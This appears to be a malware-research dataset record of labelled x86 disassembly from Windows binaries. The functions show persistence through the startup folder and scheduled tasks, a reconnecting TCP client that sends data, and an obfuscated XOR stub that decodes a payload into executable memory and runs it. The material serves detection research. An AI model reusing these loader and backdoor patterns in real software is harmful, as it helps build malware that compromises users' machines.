joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409250
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d166
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x467014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x118], esi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], esi
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push str.Su
call fcn.0041ace0
lea ecx, [ebp - 0x148]
call fcn.00405ec0
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x120], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4092f0
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.0041b500
push edi
lea edx, [ebp - 0x130]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.0041b660
mov edx, dword [ebp - 0x11c]
add esp, 4
cmp edx, 0x10
jb 0x409357
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40934d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4093c5
push edx
push ecx
call fcn.00420aab
add esp, 8
mov edx, dword [ebp - 0x134]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp edx, 0x10
jb 0x4093a8
mov ecx, dword [ebp - 0x148]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40939e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4093c5
push edx
push ecx
call fcn.00420aab
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420434
mov esp, ebp
pop ebp
ret
call fcn.0043a0ab
int3
Function at 0x4093d0
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d1a6
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x467014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x11c], esi
lea eax, [ebp - 0x118]
mov dword [ebp - 0x11c], esi
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push str.Su
call fcn.0041ace0
lea ecx, [ebp - 0x14c]
call fcn.00405ec0
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x124], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409470
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x134]
call fcn.0041b500
push edi
lea edx, [ebp - 0x134]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.0041b660
mov edx, dword [ebp - 0x120]
add esp, 4
cmp edx, 0x10
jb 0x4094d7
mov ecx, dword [ebp - 0x134]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4094cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409545
push edx
push ecx
call fcn.00420aab
add esp, 8
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
cmp edx, 0x10
jb 0x409528
mov ecx, dword [ebp - 0x14c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40951e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409545
push edx
push ecx
call fcn.00420aab
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420434
mov esp, ebp
pop ebp
ret
call fcn.0043a0ab
int3
Function at 0x40ad00
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x4681ec], 0x10
mov eax, 0x4681d8
cmovae eax, dword [0x4681d8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40ad37
ret
push 0
call fcn.00439a69
int3
Function at 0x40baf0
Capabilities:
Schedule task via itaskscheduler

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d4a0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x467014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.0041b950
mov byte [ebp - 4], 1
lea esi, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push 0
cmovae esi, dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40bb87
lea eax, [ebp - 0x2c]
push eax
push 0x45d390
push 1
push 0
push 0x45d380
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40bc07
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40bbc3
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40bbb9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bc8a
push edx
push ecx
call fcn.00420aab
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 0x10
jb 0x40bc6e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bc64
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bc8a
jmp 0x40bc64
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push 0x45d414
push 0x45cee8
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x20]
test eax, eax
jns 0x40bb87
cmp eax, 0x80070050
jne 0x40bb87
mov eax, dword [ebp - 0x2c]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x40bc54
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40bb87
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x40bb89
push edx
push ecx
call fcn.00420aab
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420434
mov esp, ebp
pop ebp
ret
call fcn.0043a0ab
int3
Function at 0x40d7d0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d730
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x467014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 1
jb 0x40d827
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x40d83c
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 8]
push dword [ebp - 0x34]
push 1
call fcn.0041c220
mov edx, dword [ebp + 0x34]
mov eax, edx
mov ecx, dword [ebp + 0x30]
sub eax, ecx
cmp eax, 1
jb 0x40d863
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov word [eax + ecx], 0
jmp 0x40d878
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 0x20]
push dword [ebp - 0x34]
push 1
call fcn.0041c220
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x16], 0
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x34], 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x24], eax
mov eax, 0x610
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x30]
push eax
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x40d8f6
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d8ec
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d954
push edx
push ecx
call fcn.00420aab
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40d938
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d92e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d954
push edx
push ecx
call fcn.00420aab
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420434
mov esp, ebp
pop ebp
ret
call fcn.0043a0ab
int3
Function at 0x40eac0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x467014]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x46b4dc
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], ecx
call fcn.0041faef
add esp, 4
test eax, eax
jne 0x40ebcb
mov ecx, dword [0x46b490]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
mov dword [ebp - 0xc], ecx
xor esi, esi
mov edi, 4
push 0
push edi
lea eax, [ebp - 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40eb21
mov ecx, dword [ebp - 0xc]
add esi, eax
sub edi, eax
cmp esi, 4
jl 0x40eb04
xor ecx, ecx
mov edi, 8
cmp eax, 0xffffffff
setne cl
dec ecx
xor esi, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [0x46b490]
mov dword [ebp - 0x10], ecx
nop dword [eax]
push 0
push edi
lea eax, [ebp + 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40eb5d
mov ecx, dword [ebp - 0x10]
add esi, eax
sub edi, eax
cmp esi, 8
jl 0x40eb40
mov edi, dword [ebp - 0xc]
or ecx, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmove edi, ecx
mov ecx, dword [0x46b490]
xor esi, esi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x18], ecx
test eax, eax
jle 0x40eba7
mov edi, eax
mov eax, dword [ebp - 0x14]
push 0
push edi
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40eba4
mov ecx, dword [ebp - 0x18]
add esi, eax
sub edi, eax
cmp esi, dword [ebp - 0x10]
jl 0x40eb82
mov edi, dword [ebp - 0xc]
jmp 0x40eba7
or edi, 0xffffffff
push 0x46b4dc
call fcn.0041fb14
add esp, 4
test eax, eax
jne 0x40ebd1
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420434
mov esp, ebp
pop ebp
ret
push eax
call fcn.0041f6ad
push eax
call fcn.0041f6ad
int3
Function at 0x40f240
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x20f8
call fcn.00421590
mov eax, dword [0x467014]
xor eax, esp
mov dword [esp + 0x20f4], eax
push esi
push edi
call fcn.0043a954
cmp dword [0x4680e4], 0x10
mov edi, eax
push 0xa
lea eax, [esp + 0x10]
mov esi, 0x4680d0
cmovae esi, dword [0x4680d0]
push eax
push esi
mov dword [edi], 0
call fcn.0043be8a
add esp, 0xc
cmp esi, dword [esp + 0xc]
je 0x40f3d4
cmp dword [edi], 0x22
je 0x40f3ca
movzx edi, ax
lea eax, [esp + 0x28]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40f3b3
cmp dword [0x4683fc], 0x10
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
mov esi, 0x4683e8
mov word [esp + 0x10], ax
cmovae esi, dword [0x4683e8]
push edi
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x46b490], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x40f363
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0xbb8
call edi
push dword [0x46b490]
call esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x46b490], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40f330
lea ecx, [esp + 0x1b8]
call fcn.0040efa0
cmp eax, 0xffffffff
je 0x40f3b3
cmp byte [0x46b38c], 1
je 0x40f3a4
lea ecx, [esp + 0x1b8]
call fcn.0040efa0
cmp eax, 0xffffffff
jne 0x40f374
or eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x20f4]
xor ecx, esp
call fcn.00420434
mov esp, ebp
pop ebp
ret
push dword [0x46b490]
call esi
mov byte [0x46b38c], 0
mov ecx, dword [esp + 0x20fc]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.00420434
mov esp, ebp
pop ebp
ret
push str.stoi_argument_out_of_range
call fcn.0041f61c
push str.invalid_stoi_argument
call fcn.0041f5dc
int3
Function at 0x419f80
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x419cc0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x419d50
push 0
push 0
call esi
push 0
push 0
push 0
push 0x419de0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x419e70
push 0
push 0
call esi
push 0
push 0
push 0
push 0x419f00
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call esi
jmp 0x419f72
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.0040ad00
mov ecx, 1
call fcn.0040dd20
call fcn.0040e5b0
call fcn.004167b0
jmp 0x419f10

Function at 0x422fcd
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret
Function at 0x100193bc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100193cb
pop dword [ebp - 0x10]
mov eax, 0x22ab24d7
add eax, 0xed566ef4
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xd63171ab
add dword [ebp - 0x20], 0x7820d3a0
mov dword [ebp - 0x1c], 0x20f4f4a4
add dword [ebp - 0x1c], 0x113e57a1
mov dword [ebp - 0x18], 0xf4a08ea
sub dword [ebp - 0x18], 0xc2fdc4bc
mov dword [ebp - 0x14], 0x4513971e
sub dword [ebp - 0x14], 0x4513971e
lea eax, [ebp - 0x20]
push eax
mov eax, 0x83d457aa
add eax, 0x8c2dc89a
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xf337fe2e
sub dword [ebp - 0x20], 0x7ec594d8
mov dword [ebp - 0x1c], 0x1a75465d
sub dword [ebp - 0x1c], 0xd908e4e8
mov dword [ebp - 0x18], 0x7a183469
sub dword [ebp - 0x18], 0x16a8c7fd
mov dword [ebp - 0x14], 0x6d98f572
add dword [ebp - 0x14], 0x92670a8e
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x5af61a93
add eax, 0xb50c05ad
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3c702
push 0
call eax
mov ecx, 0x611aefd4
sub ecx, 0x611a9683
xor ebx, ebx
add ebx, eax
mov edx, 0x2ef2bd95
sub edx, 0x1eefa195
add edx, dword [ebp - 0x10]
mov edi, 0x907457d9
sub edi, 0x2af5d12d
xor dword [ebp - 4], 0x75e115d2
mov esi, dword [edx]
add dword [ebp - 8], 0x8b2b91b7
sub esi, edi
xor dword [ebp - 4], edi
mov dword [ebx], esi
add ebx, 0xc4755b87
sub ebx, 0xc4755b83
add edx, 0x45e1f87f
add edx, 0xba1e0785
loop 0x100194ef
add eax, 0xe8aac6be
add eax, 0x17569159
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x1000c080
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
lea eax, [ebp - 0x34]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call 0x100bde4b
test eax, eax
js 0x1000c176
cmp word [ebp - 0x34], 6
je 0x1000c176
lea eax, [ebp - 4]
push eax
push 0x10004068
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000c12d
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x10004084
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c124
cmp dword [ebp - 0xc], eax
je 0x1000c124
push 0x10004098
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000c124
push 0x100040a4
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x1000c124
push dword [ebp + 8]
mov ecx, esi
call dword [0x100ae518]
call esi
pop esi
mov esp, ebp
pop ebp
ret 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp + 8]
cmp esi, 0x78
je 0x1000c145
cmp esi, 0xdc
jb 0x1000c176
cmp esi, 0x140
jae 0x1000c176
push 0x3594
call fcn.1000efa0
add esp, 4
test eax, eax
je 0x1000c176
mov ecx, eax
mov edx, 0x20
and ecx, 0x1f
sub edx, ecx
push esi
mov dword [eax + edx - 4], edx
lea ecx, [eax + edx]
call 0x100bde4b
pop esi
mov esp, ebp
pop ebp
ret 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10017f50
Capabilities:
Print debug messages

Disassembly:
cmp ecx, 0xc00002b6
jg 0x10017fc7
je 0x10017fc1
cmp ecx, 0xc0000022
jg 0x10017f8d
je 0x10017f87
add ecx, 0x3fffffff
cmp ecx, 0x1c
ja case.0x10017fe6.1071775737
movzx eax, byte [ecx + 0x10018064]
jmp dword [eax*4 + 0x1001804c]
mov eax, 0x88760872
ret
mov eax, 0x8876086a
ret
add ecx, 0x3fffff6a
cmp ecx, 0x97
ja case.0x10017fe6.1071775737
movzx eax, byte [ecx + 0x10018098]
jmp dword [eax*4 + 0x10018084]
mov eax, 0x80070057
ret
mov eax, 0x8007000e
ret
mov eax, 0x88760871
ret
mov eax, 0x88760879
ret
mov eax, 0x88760870
ret
cmp ecx, 0xc01e0109
jg 0x10018016
je 0x10018010
add ecx, 0x3fe1fffa
cmp ecx, 0xfc
ja case.0x10017fe6.1071775737
movzx eax, byte [ecx + 0x10018144]
jmp dword [eax*4 + 0x10018130]
mov eax, 0x8876021c
ret
mov eax, 0x8876017c
ret
push 0x100043a8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
mov eax, 0x80004005
ret
mov eax, 0xc0262109
ret
test ecx, ecx
jg 0x1001803e
je case.0x10017fe6.1071775738
cmp ecx, 0xc01e0111
je 0x10018035
lea eax, [ecx + 0x3fe1feee]
cmp eax, 3
ja case.0x10017fe6.1071775737
mov eax, 0x88760873
ret
mov eax, 0xc0262111
ret
xor eax, eax
ret
cmp ecx, 0x103
jne case.0x10017fe6.1071775737
mov eax, 0x8000000a
ret
Function at 0x10018250
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100a80a4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, edx
push edi
mov dword [ebp - 0x20], esi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [edi + 4], 0
mov edx, eax
mov dword [ebp - 0x24], edx
mov ebx, edx
je 0x100183bd
test esi, esi
je 0x100183bd
mov esi, dword [edi + 0xcc]
sub eax, esi
mov ecx, dword [edi + 0xd0]
cmp eax, ecx
jae 0x100182b0
sub ecx, edx
add ecx, esi
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
mov ecx, dword [edi + 4]
mov eax, 0x2aaaaaab
mov edi, dword [edi]
mov ecx, dword [ecx + 0x2c]
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x1c], eax
mov eax, ecx
cdq
mov ecx, 0x64
and edx, 7
lea esi, [edx + eax]
sar esi, 3
mov dword [ebp - 0x18], esi
lea ecx, [ecx]
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
cmp dword [0x100a9548], eax
je 0x10018302
mov ecx, edi
call fcn.10017140
mov ecx, 0x64
test byte [edi + 0x8c], 2
jne 0x100183ce
mov eax, dword [edi + 0xb30]
mov esi, dword [0x100a94c0]
mov ecx, esi
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 0xb3c]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
call dword [0x100ae518]
call esi
mov esi, eax
mov edx, edi
mov ecx, esi
call fcn.1000f660
test eax, eax
jne 0x1001834f
mov ecx, esi
call fcn.10017f50
test eax, eax
jne 0x100183bb
mov ecx, dword [edi + 0x116c]
mov eax, dword [ebp - 8]
cmp ecx, 2
je 0x10018362
cmp ecx, 4
jne 0x1001837d
cmp byte [ebp - 0xc], 0
jne 0x1001837d
mov esi, dword [edi + 0x117c]
test esi, esi
je 0x1001837d
imul eax, dword [edi + 0x1180]
xor edx, edx
div esi
mov esi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
add ecx, eax
cmp ecx, dword [edx + 4]
jl 0x100183bb
mov ecx, dword [edx + 0xc]
cmp eax, ecx
jg 0x100183bb
add eax, esi
cmp eax, ecx
jge 0x100183a2
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
mov ecx, 0x64
sub eax, dword [ebp - 0x24]
cmp eax, 0x1e
jb 0x100182e0
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100a1500
mov esp, ebp
pop ebp
ret
mov edx, dword [0x100a949c]
mov eax, edx
add edx, 0xa
cmp ecx, edx
sbb ecx, ecx
not ecx
and ecx, edx
mov dword [0x100a949c], ecx
jmp 0x10018380